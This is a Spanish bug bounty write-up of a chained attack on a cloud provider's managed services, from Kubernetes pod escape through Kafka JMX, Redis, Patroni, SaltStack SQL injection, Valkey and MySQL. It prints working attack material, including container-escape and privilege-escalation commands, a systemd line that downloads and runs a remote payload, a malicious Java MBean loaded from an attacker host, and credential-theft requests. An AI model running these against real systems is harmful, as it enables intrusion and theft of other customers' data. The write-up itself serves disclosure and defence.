Este artículo se publica exclusivamente con fines educativos, para aumentar la concientización de los especialistas en seguridad de la información. La investigación se realizó en el marco de un programa oficial de bug bounty en una plataforma de gran escala. Se informó de las vulnerabilidades al proveedor del recurso en la nube, conforme a la política de divulgación responsable, y todas las deficiencias de seguridad detectadas se corrigieron por completo. La infraestructura que se analiza en el material está anonimizada, de modo que no permite identificar a una organización específica. Estamos convencidos de que las pruebas de penetración periódicas, los programas de bug bounty y el diálogo entre desarrolladores e investigadores independientes son la base de la seguridad de cualquier producto de TI.
Introducción
Muchos especialistas consideran que las vulneraciones de seguridad a los datos en la nube se deben, en la mayoría de los casos, a errores de los clientes: almacenamientos mal configurados o, por ejemplo, puertos abiertos. Sin embargo, nuestra prueba de penetración de la infraestructura de un gran proveedor de servicios en la nube demostró que las amenazas críticas pueden originarse en la propia infraestructura del proveedor.
Este análisis se basa en un caso real que obtuvo el segundo lugar en la categoría “Hackeo de sistema” (Web & Logic) en el Russian Pentest Award 2026. En este artículo se examina la explotación sucesiva de una serie de vulnerabilidades y errores de lógica. En conjunto, condujeron a consecuencias críticas para el negocio y a la evasión total del aislamiento entre clientes dentro de la nube. El 22 de octubre de 2026 también presenté un análisis técnico de este caso en la conferencia Security Analyst Summit (SAS 2026), en la ponencia “Smash the Tenant Boundary”.
1. Acceso inicial a través de un servicio gestionado de Kubernetes
La prueba de penetración en la infraestructura de nube se realizó para analizar el modelo de amenazas de un atacante externo con los privilegios de un cliente común. El objetivo del ataque era tomar el control total de la nube.
1.1. Escape del worker node
En la primera etapa se creó un recurso en un clúster gestionado de Kubernetes v1.25.16+k0s.0 en la nube. Por lo general, el proveedor no tiene la intención de otorgar a los clientes acceso SSH a los worker nodes (nodos de trabajo), pues los usuarios no contratan un servicio de administración de servidores. Sin embargo, en este caso las políticas de seguridad del clúster no prohibían la creación de pods privilegiados con acceso a los namespaces del host. Esto permitió desplegar un pod de este tipo y cambiar el contexto de ejecución a la máquina host donde se ejecuta el contenedor.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
kubectl run pod-name-bla \ --image=alpine \ --restart=Never \ --overrides=' { "apiVersion": "v1", "spec": { "hostPID": true, "containers": [ { "name": "priv", "image": "alpine", "command": [ "sh", "-c", "sleep 3600" ], "stdin": true, "tty": true, "securityContext": { "privileged": true } } ] } }' |
Tras crear el pod privilegiado, dentro del contenedor se ejecutó el comando nsenter, que permitió trasladar el contexto de ejecución a la máquina host:
|
1 |
nsenter --target 1 --mount --uts --ipc --net --pid – bash |
Después de ejecutar este comando, el intérprete bash se inició en la máquina host real y no dentro del contenedor. Dado que el pod era privilegiado, obtuvimos acceso root completo a la máquina host.
A continuación, se analizó su sistema de archivos. Durante el estudio del data plane se detectó un token del servicio konnectivity. Este componente ofrece la conexión de túnel entre el control plane y el data plane del clúster de Kubernetes. De esta manera, se abrieron posibilidades interesantes para desarrollar el ataque.
1.2. Análisis de los servicios en el control plane
Tras obtener acceso a la máquina host (el mismo worker node mencionado), analizamos sus interfaces de red (la VPC del usuario y las interfaces de Calico). Del archivo de configuración de kubelet se extrajo la dirección del kube-apiserver (192.168.0.4). Al escanear esta dirección, se revelaron los siguientes puertos abiertos:
|
1 2 3 4 5 6 |
192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics" |
El puerto 8132 resulta muy interesante, ya que es en el que funciona el servicio Konnectivity. Este servicio crea un túnel inverso entre el control plane y el data plane (para que haya visibilidad desde el control plane hacia el data plane) y permite que los componentes de gestión interactúen con los worker nodes incluso detrás de NAT. El token konnectivity que se había detectado era el que otorgaba el derecho a interactuar con este servicio.

Diagrama de interacción entre el plano de control (control plane) y el plano de datos (data plane) a través de Konnectivity
1.3. Explotación de Konnectivity
Para analizar el servicio en el puerto 8132, desplegamos un entorno de pruebas local. Se determinó que en la versión v1.25.16+k0s.0 se utiliza un fork konnectivty-server, heredado del apiserver-network-proxy del Kubernetes original.
Una breve introducción a k0s: es una distribución minimalista de Kubernetes, destinada a los proveedores de nube, que facilita el despliegue de clústeres gestionados (Managed k8s) con un consumo mínimo de recursos. Una característica importante de k0s es que, de forma predeterminada, en los master nodes (nodos de gestión) está prohibida la ejecución de pods de usuario, lo que satisface los requisitos de seguridad de mk8s en cuanto al aislamiento del plano de control.
En el puerto 8132 se encuentra el servicio AgentService, que ofrece un único método: Connect. Este mismo método recibe un flujo de paquetes Packet.
|
1 2 3 |
service AgentService { rpc Connect(stream Packet) returns (stream Packet) {} } |
En el código se detectó un detalle curioso: cuando AgentService recibe del worker node un paquete del tipo DIAL_REQ, el servidor ejecuta la función net.Dial() del lado del control-plane. La estructura de los paquetes para el método Connect es la siguiente:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26 enum PacketType { DIAL_REQ = 0; DIAL_RSP = 1; ... } message Packet { PacketType type = 1; oneof payload { DialRequest dialRequest = 2; DialResponse dialResponse = 3; Data data = 4; CloseRequest closeRequest = 5; CloseResponse closeResponse = 6; CloseDial closeDial = 7; } } message DialRequest { // tcp or udp? string protocol = 1; // node:port string address = 2; // random id for client, maybe should be longer int64 random = 3; } |
El servidor lee cualquier paquete Packet del stream que inició el agente (worker node):
|
1 2 3 4 |
//apiserver-network-proxy/pkg/server/server.go:721 in, err := stream.Recv() ... recvCh <- in |
Luego, los paquetes Packet llegan al dispatcher del backend:
|
1 2 3 4 5 |
//apiserver-network-proxy/pkg/server/server.go:748 func (s *ProxyServer) serveRecvBackend(...) { for pkt := range recvCh { switch pkt.Type { |
Después, ocurre lo más interesante:
|
1 2 3 4 5 6 |
//apiserver-network-proxy/pkg/server/server.go:888 case client.PacketType_DIAL_REQ: req := pkt.GetDialRequest() klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address) s.handleDialRequest(pkt, backend) |
Es decir, el DIAL_REQ proveniente del agente (worker node) se considera válido y se pasa al handler de paquetes del tipo correspondiente (DIAL_REQ).
|
1 2 3 4 5 6 7 8 |
//apiserver-network-proxy/pkg/server/server.go:921 func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) { ... dialReq := pkt.GetDialRequest() resp.GetDialResponse().Random = dialReq.Random start := time.Now() conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address |
Esto proporcionó una primitiva de SSRF en el contexto del control plane, que da la posibilidad de acceder no solo a recursos de red, sino también a sockets UNIX del host. Se eligió D-Bus como una vía prometedora de interacción (/run/dbus/system_bus_socket). Con ayuda de la utilidad busctl en el control plane se detectaron los siguientes servicios disponibles:
|
1 2 3 4 5 6 |
org.freedesktop.DBus org.freedesktop.PackageKit org.freedesktop.PolicyKit1 org.freedesktop.login1 org.freedesktop.systemd1 com.ubuntu.SoftwareProperties |
Mediante el método org.freedesktop.DBus.GetConnectionCredentials (tras escribir nuestro propio cliente de D-Bus basado en github.com/godbus/dbus/v5) se logró obtener el UID del proceso actual. En este caso era el 997. Por desgracia, no era root, por lo que no se podía iniciar de inmediato un servicio de sistema en systemd. No obstante, aún se puede crear un servicio de usuario (system –user). Para ello, primero hay que habilitar el linger para nuestro UID:
|
1 2 3 4 5 |
busctl --address=unix:path=/tmp/master-dbus.sock \ call org.freedesktop.login1 \ /org/freedesktop/login1 \ org.freedesktop.login1.Manager \ SetUserLinger ubb 997 true false |
Después de esto se abrieron los siguientes sockets:
|
1 2 |
/run/user/997/bus /run/user/997/systemd/private (este socket es justamente el equivalente de la ejecución de comandos mediante systemctl --user) |
A través del nuevo socket accedemos al método StartTransientUnit del servicio org.freedesktop.systemd1.Manager:
|
1 2 3 4 5 6 |
StartTransientUnit( name: string, mode: string, properties: a(sv), aux: a(sa(sv)) ) -> job object path |
En el parámetro properties se pasan las directivas estándar de descripción de servicios de systemd. Escribimos en él la siguiente línea:
|
1 2 3 |
ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '" Como resultado, recibimos con éxito un callback (devolución de llamada) desde el control plane. |
La empresa Mirantis, desarrolladora del proyecto k0s, confirmó la existencia de la vulnerabilidad.
1.4. Escalada de privilegios en el host
Dado que, de forma predeterminada, el componente konnectivity-server funciona con privilegios limitados, tras lograr la ejecución remota de código (RCE) en el control plane, se procedió a escalar los privilegios. El análisis de los procesos en el master node reveló un salt-minion en ejecución. Contar con privilegios de root permite autenticarse en el salt-minion en nombre de dicho minion y continuar el ataque a partir de ese acceso (volveremos a esto más adelante).
En mi caso, el host objetivo funcionaba con la distribución Ubuntu 22.04 con la versión 5.15.x del núcleo. Como los namespaces de usuario (user namespaces) estaban habilitados, se aprovechó un error conocido en OverlayFS para escalar privilegios, lo que permite conservar la capacidad cap_setuid+eip en un archivo tras manipular los namespaces.
Para explotar la vulnerabilidad, se creó una copia del intérprete python3 con la capacidad setuid habilitada, lo que permitió obtener privilegios de root.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
rm -rf /tmp/lpe mkdir /tmp/lpe cd /tmp/lpe unshare -rm sh -c ' mkdir l u w m && cp /usr/bin/python3 l/ && chmod 755 l/python3 && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/* ' getcap /tmp/lpe/u/python3 /tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")' |
Tras obtener privilegios de root se abrieron varios vectores interesantes:
- En el host se detectó la interfaz eth2 en la subred 100.64.0.0/10. Resultó que la red overlay de la nube es plana, lo que permite tener visibilidad de todos los servicios gestionados.
- En el sistema se almacenaba un par de claves del salt-minion. Esto amplía de forma significativa la superficie de ataque, pues abre el acceso al control plane de la propia nube gestionada a través de SaltStack.
2. Aventuras en la red overlay
2.1. La pila Victoria
El estudio de la actividad de red dentro del recurso gestionado dio de inmediato resultados interesantes. El análisis del tráfico mostró que desde una determinada dirección IP llegaban solicitudes de recolección de métricas del nodo (accesos a nuestra instancia de kube-state-metrics en mk8s). Resultó que esa dirección IP correspondía a un recolector de métricas, una de las instancias de VictoriaMetrics, que da servicio a numerosos recursos gestionados. De forma análoga a Prometheus, la API de VictoriaMetrics expone la lista de targets de los que se recopilan métricas.
Al acceder al endpoint http://100.64.13.37:8429/api/v1/targets, descubrimos que las labels de cada target contienen metadatos valiosos:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
"discoveredLabels": { "__address__": "http://100.64.1.1:6897/metrics", "__meta_url": "CENSORED", "__metrics_path__": "/metrics", "__scheme__": "http", "__scrape_interval__": "2m0s", "__scrape_timeout__": "2m0s", "cluster_id": "676767", "customer": "customerID", "job": "http", "profile": "kubernetes", "vds_id": "1337", "version": "1.0" } |
Conviene destacar este hecho: a través de VictoriaMetrics, es posible obtener en una sola solicitud la lista completa de hosts del control plane pertenecientes a otros usuarios de la nube. El puerto 6897 indica el funcionamiento del exporter kube-state-metrics, y el campo profile: kubernetes confirma además el tipo de target en esa dirección.
En esa misma red se detectó otro host del ecosistema Victoria: VictoriaLogs. La interfaz web de este servicio en el puerto 9428 también tiene endpoints de API que permiten extraer datos sensibles. Por ejemplo, el endpoint /select/logsql/query permitía leer, sin autorización, absolutamente todos los logs de cualquier recurso gestionado en la nube.
Al analizar los logs del control plane para Managed k8s se descubrió un detalle crítico: en los scripts de cloud-init, de forma predeterminada, se generaban claves SSH privadas para la cuenta root. Dichas claves se mostraban en stdout y se guardaban de forma automática en los registros generales del sistema.
La correlación de algunos valores de las labels de VictoriaMetrics ayudó a reconstruir los nombres originales del host objetivo. Esto simplifica el filtrado de datos en VictoriaLogs y permite vincular de forma inequívoca la clave privada comprometida con el nodo objetivo en el que se puede usar esa clave.
Haciendo uso de la clave privada comprometida de una cuenta privilegiada, podíamos conectarnos por SSH a los nodos objetivo y obtener el control total sobre clústeres ajenos.
Es probable que en los logs de servicios de otro tipo se puedan detectar otros datos sensibles para aumentar aún más el impacto.
2.2. Compromiso de las instancias gestionadas de Kafka
Se investigó la posibilidad de desplegar recursos gestionados de Apache Kafka. Tal como se esperaba, estas instancias también se pudieron detectar en la red overlay plana. Así, en uno de los hosts con Kafka estaba abierto el puerto 9999, que resultó ser nada menos que un JMX Registry.
El mecanismo de JMX Registry presenta una vulnerabilidad debido a sus características: devuelve al cliente que lo invoca un stub RMI con la dirección del host, lo que permite cargar de forma remota una clase MBean arbitraria propia y ejecutar código arbitrario. Al lanzar un escaneo con la utilidad nmap -sC sobre el puerto del registry, determinamos el puerto exacto del servicio RMI con el que interactuaríamos después. Para llevar a cabo el ataque se preparó un conjunto de scripts de Java con la siguiente estructura:
- JmxCreateMBean.java: se encarga de la conexión al JMX Registry y de la creación del componente MBean javax.management.loading.MLet (una clase que permite cargar clases desde una URL indicada)
- JmxInvoke.java: invoca el método seleccionado del MBean a través del JMX Registry
- ExecMBean.java y Exec.java: un componente MBean de prueba, ligero y personalizado, con el método run(String cmd), que implementa la interfaz de ejecución remota de comandos.
- El fragmento de código encargado de la conexión y la inicialización del componente MBean es el siguiente:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
//JmxCreateMBean.java ... import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; public class JmxCreateMBean { private static final class RewritingSocketFactory extends RMISocketFactory { private final String fromHost; private final String toHost; RewritingSocketFactory(String fromHost, String toHost) { ... } @Override public Socket createSocket(String host, int port) throws IOException { ... } @Override public ServerSocket createServerSocket(int port) throws IOException { ... } } public static void main(String[] args) throws Exception { ... RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3])); String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]); try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) { var mbsc = connector.getMBeanServerConnection(); try { ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5])); System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName()); } catch (InstanceAlreadyExistsException e) { System.out.println("EXISTS " + args[5]); } } } } |
A continuación se presenta la implementación de la clase maliciosa Exec.java, que ofrece métodos para ejecutar comandos de shell, así como para leer y escribir archivos mediante Base64:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
// Exec.java import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.util.Base64; public class Exec implements ExecMBean { @Override public String run(String cmd) throws Exception { Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start(); byte[] out = p.getInputStream().readAllBytes(); int rc = p.waitFor(); return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8); } @Override public String getB64(String path) throws Exception { return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path))); } @Override public String putB64(String path, String b64) throws Exception { byte[] data = Base64.getDecoder().decode(b64); Files.write(Path.of(path), data); return "wrote " + data.length + " bytes"; } } |
Tras compilar nuestro propio MBean, alojamos el archivo .jar generado en un servidor web remoto y preparamos el archivo de configuración mlet.html para su posterior carga por parte del servidor objetivo.
|
1 2 3 |
<html> <mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet> </html> |
Y, a continuación, reproducimos la siguiente cadena de acciones:
- Creación del cargador MLet estándar dentro de la JVM de Kafka
- Carga del MBean malicioso en el servidor objetivo mediante la invocación del método getMBeansFromURL del componente MLet estándar (DefaultDomain:type=MLet). Como argumento se pasa la URL del archivo preparado: http://attacker_ip:8000/mlet.html
- Invocación del método run(String cmd) del MBean cargado para lograr RCE en el host.
Este vector fue posible porque el host indicado en el stub RMI, que según los estándares de seguridad debería estar enlazado únicamente a la interfaz loopback (127.0.0.1), se expuso por error en la red overlay compartida de la nube.
2.3. Fuga de credenciales a través de redis-exporter
La siguiente etapa fue el análisis de los hosts con instancias gestionadas de Redis. En cada uno de ellos, junto al puerto principal 6379, estaba desplegado el servicio redis-exporter (puerto 9121). El análisis de su código fuente reveló una vulnerabilidad de lógica en el procesamiento del parámetro target:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
//redis_exporter/exporter/http.go:47 func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) { target := r.URL.Query().Get("target") ... if !strings.Contains(target, "://") { target = "redis://" + target } u, err := url.Parse(target) ... opts := e.options ... _, err = NewRedisExporter(target, opts) ... |
En esencia, el handler /scrape recibe un parámetro target arbitrario e intenta recolectar métricas usando las mismas credenciales con las que el exporter se conecta a su instancia principal de Redis. Si se dirige la solicitud del redis-exporter hacia un host controlado por el atacante (por ejemplo, con un nc -nvlp 6379 en ejecución), se pueden interceptar las credenciales mediante la siguiente solicitud:
|
1 |
http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server> |
Las credenciales obtenidas permitieron conectarse a las instancias de Redis de otros clientes y realizar operaciones de lectura, modificación o eliminación de los datos almacenados.
(Nota: durante el período de la investigación se publicó una vulnerabilidad que conduce a RCE en Redis, lo que, combinado con el acceso obtenido, permitía comprometer por completo los servicios de otros usuarios).
2.4. Compromiso de los clústeres gestionados de PostgreSQL (Patroni)
Junto con los clústeres gestionados de Kubernetes, el SGBD PostgreSQL es uno de los recursos gestionados más demandados. Por eso, la siguiente etapa en la red overlay fue el análisis de los hosts PostgreSQL. Al escanear los nodos con el puerto de PostgreSQL abierto (5432) se detectaron servicios adyacentes en los puertos 2379 (el almacenamiento distribuido etcd) y 8008 (Patroni rest API). Mientras que la API REST de Patroni requería autenticación, el acceso a etcd resultó estar totalmente abierto. Durante el análisis del contenido de etcd se detectó una clave crítica, /v2/keys/service/pg-cluster/config, que contenía la configuración de Patroni:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
{ "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "id", "archive_mode": "always", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } } } |
El acceso de escritura a este archivo de configuración permite cambiar el parámetro archive_command y sustituirlo por un comando elegido por el atacante, lo que permite la ejecución remota de código en el host objetivo al iniciarse el proceso de archivado. Para no tener que esperar a que el WAL se llene de forma natural, se encontró una forma de forzar el inicio del archivado incluso con el nivel mínimo de acceso:
- Actualización de la configuración de Patroni con el archive_command modificado:
1curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq - Actualizamos de nuevo la configuración, añadiendo el parámetro standby_cluster:
123456789101112131415161718192021{"ttl": 30,"loop_wait": 10,"retry_timeout": 10,"maximum_lag_on_failover": 1048576,"postgresql": {"use_pg_rewind": true,"parameters": {"archive_command": "rce","archive_mode": "on","archive_timeout": "10","max_connections": 550,"max_locks_per_transaction": 512,"max_worker_processes": 27}},"standby_cluster": {"host": "192.0.2.1","port": 5432}}
Tras aplicar este parámetro, Patroni detecta un conflicto de roles para el master actual. En los logs aparece un procedimiento similar a este:
|
1 2 3 4 |
cannot be a real primary in standby cluster Demoting self (demote-cluster) received fast shutdown request checkpoint starting: shutdown immediate |
A continuación, se inicia el reinicio de Postgres, así como el procedimiento de archivado y la ejecución del comando inyectado:
De este modo, es posible acceder a los SGBD Postgres ajenos y obtener el control total sobre los datos. Como factor de riesgo adicional, en estos hosts se detectaron archivos con credenciales de acceso al almacenamiento S3.
Este almacenamiento contiene copias de seguridad no solo de la instancia actual, sino también de todas las demás bases de datos en la nube.
3. Ataque a la infraestructura de gestión Salt Stack
Tras obtener acceso root al nodo del control plane, la atención se dirigió al servicio de gestión de configuración Salt Stack.
3.1. Análisis del sistema de archivos de Salt
El primer paso fue el volcado completo del sistema de archivos del Salt Master para su posterior análisis estático:
La cantidad de archivos resultó ser muy elevada.
|
1 2 3 4 |
salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do mkdir -p "/tmp/dump/$(dirname "$f")" salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null done |
Como la versión de Salt utilizada estaba actualizada, las vulnerabilidades conocidas con identificadores CVE no afectaban a esta versión. Sin embargo, entre los archivos del salt-master se detectó un script personalizado (_pillar/somebase.py) con una vulnerabilidad crítica, escrito por el proveedor para dar servicio a los minions con el servicio somebase. La vulnerabilidad se debía a la construcción insegura de una consulta SQL mediante el método query.format():
|
1 2 3 4 5 6 |
sql = query.format( minion_id=minion_id, pillar={**pillar, **results}, grains=__grains__, ) loaded_items = db_connections[db_alias].load_object_list(sql) |
Dado que el salt-minion puede iniciar la actualización del pillar y enviar grains (metadatos arbitrarios) al salt-master, el atacante tiene la posibilidad de inyectar código SQL a través del parámetro some_id dentro de los grains. Cuando la extensión del lado del salt-master procesa la solicitud, la consulta SQL se ejecuta en la base de datos prod-cloud. Esta vulnerabilidad permite, por lo tanto, realizar una inyección SQL basada en errores.
3.2 Explotación de la SQLi
A través de esta vulnerabilidad se obtuvo acceso a distintos esquemas de la base de datos, el más interesante de los cuales era cloudsmth, que contenía alrededor de 50 tablas con metadatos sobre todos los recursos gestionados y los VDS.
Más llamativa aún resultó la tabla salt-masters, con los tokens de autenticación de todos los salt-masters.
La existencia de estos tokens permitió acceder a la REST API del Salt Master y ejecutar comandos arbitrarios en todos los minions (nodos) bajo control de la nube:
|
1 |
curl -k https://salt-master:8000 -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Auth-Token: REDACTED" -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]' |
En acuerdo con el proveedor, se detuvo el avance del ataque, pero, en general, la obtención de acceso a los salt-masters y a la base de datos prod-cloud permitía, en un solo paso, tomar el control total de todos los recursos (incluidos VDS, S3 y otros servicios).
4. Otras formas de atacar la nube
Quisiéramos mencionar otras formas de entrar en la red overlay, pues entre ellas también había casos interesantes.
4.1. Explotación de una vulnerabilidad en Managed Valkey
Al analizar las instancias de Valkey desplegadas en la infraestructura en la nube se determinó que la versión de software utilizada era vulnerable a CVE-2026-25243. En el momento del análisis no existían pruebas de concepto (PoC) ni exploits públicos para esta vulnerabilidad. Para estudiar su funcionamiento, se analizaron los datos de diagnóstico obtenidos con el comando INFO:
|
1 2 3 4 5 6 7 8 9 |
valkey_version=7.2.11 redis_version=7.2.4 redis_git_sha1=97b6663c redis_git_dirty=0 redis_build_id=a75ca2f023d97d88 gcc_version=13.3.0 arch_bits=64 os=Linux 6.8.0-124-generic x86_64 executable=/usr/bin/valkey-server |
El identificador redis_build_id ayudó a determinar con exactitud el archivo binario utilizado, que coincidió con la compilación oficial para Ubuntu Noble x86_64.
La esencia de la vulnerabilidad CVE-2026-25243 radica en el procesamiento incorrecto de objetos RDB serializados por el operador RESTORE. Al usar la codificación obsoleta hash-zipmap, el validador acepta una representación de 5 bytes de la longitud para una clave corta, pero el parser posterior interpreta los bytes internos de la clave como la codificación de la longitud del valor. Esta discrepancia conduce a la posibilidad de desbordar el búfer y sobrescribir bloques adyacentes en el heap (desbordamiento del heap), lo que potencialmente permite lograr una escritura arbitraria en memoria (Arbitrary Write). Tras lograr escribir en zonas de memoria adyacentes, las estrictas reglas del entorno aislado de systemd representaron un obstáculo:
|
1 2 3 4 5 6 7 8 9 |
NoExecPaths=/ ExecPaths=/usr/bin/valkey-server /usr/lib /lib CapabilityBoundingSet= NoNewPrivileges=true PrivateUsers=true ProtectSystem=strict ProtectHome=true SystemCallFilter=@system-service SystemCallFilter=~ @privileged @resources |
Estos parámetros prohíben la ejecución de intérpretes de comandos estándar (por ejemplo, /bin/sh). No obstante, la configuración de montaje del directorio /tmp permitía la escritura. La modificación de la lógica del proceso permitió iniciar la carga y la ejecución de un componente externo desde /tmp, que no estaba sujeto a la regla noexec. Tras establecer un canal de comunicación estable, se añadió una clave SSH al archivo /var/lib/valkey/.ssh/authorized_keys. Esto garantizó un acceso independiente al host y la posibilidad de una posterior escalada de privilegios por métodos estándar (LPE).
En este caso se aprovechó la vulnerabilidad GRO Frag, pero cada semana aparecen nuevas vulnerabilidades de escalada local de privilegios, por lo que puede haber muchas opciones para escalar privilegios y continuar el ataque al salt master.
4.2. MySQL
Al crear el recurso, el usuario de la base de datos MySQL no tenía privilegios de administrador.
|
1 2 3 4 5 6 7 8 |
DROP TABLE IF EXISTS mysql.global_grants; CREATE TABLE mysql.global_grants ( USER char(32) NOT NULL DEFAULT '', HOST char(255) NOT NULL DEFAULT '', PRIV char(32) NOT NULL DEFAULT '', WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N', PRIMARY KEY (USER, HOST, PRIV) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0; |
Sin embargo, la lógica de la aplicación permitía a este usuario eliminar y recrear la tabla de privilegios dinámicos:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
DROP TABLE IF EXISTS mysql.user; CREATE TABLE mysql.user ( Host char(255) NOT NULL DEFAULT '%', User char(32) NOT NULL DEFAULT '', Select_priv enum('N','Y') NOT NULL DEFAULT 'Y', Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y', Update_priv enum('N','Y') NOT NULL DEFAULT 'Y', Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y', Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y', Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y', Process_priv enum('N','Y') NOT NULL DEFAULT 'Y', File_priv enum('N','Y') NOT NULL DEFAULT 'Y', Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y', References_priv enum('N','Y') NOT NULL DEFAULT 'Y', Index_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y', Super_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y', Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y', Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y', Event_priv enum('N','Y') NOT NULL DEFAULT 'Y', Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y', ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '', ssl_cipher blob NOT NULL, x509_issuer blob NOT NULL, x509_subject blob NOT NULL, max_questions int unsigned NOT NULL DEFAULT 0, max_updates int unsigned NOT NULL DEFAULT 0, max_connections int unsigned NOT NULL DEFAULT 0, max_user_connections int unsigned NOT NULL DEFAULT 0, plugin char(64) NOT NULL DEFAULT 'caching_sha2_password', authentication_string text, password_expired enum('N','Y') NOT NULL DEFAULT 'N', password_last_changed timestamp NULL DEFAULT NULL, password_lifetime smallint unsigned DEFAULT NULL, account_locked enum('N','Y') NOT NULL DEFAULT 'N', Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Password_reuse_history smallint unsigned DEFAULT NULL, Password_reuse_time smallint unsigned DEFAULT NULL, Password_require_current enum('N','Y') DEFAULT NULL, User_attributes json DEFAULT NULL, PRIMARY KEY (Host, User) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0; |
Tras reiniciar la base de datos y crear un usuario nuevo, este obtenía privilegios completos de administrador de forma automática. Le añadimos aún más privilegios:
|
1 2 3 4 |
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y'); FLUSH PRIVILEGES; |
Una vez elevados los privilegios en la base de datos, el siguiente paso era lograr la ejecución remota de código. A continuación, se compiló una biblioteca UDF personalizada para ejecutar comandos del sistema.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
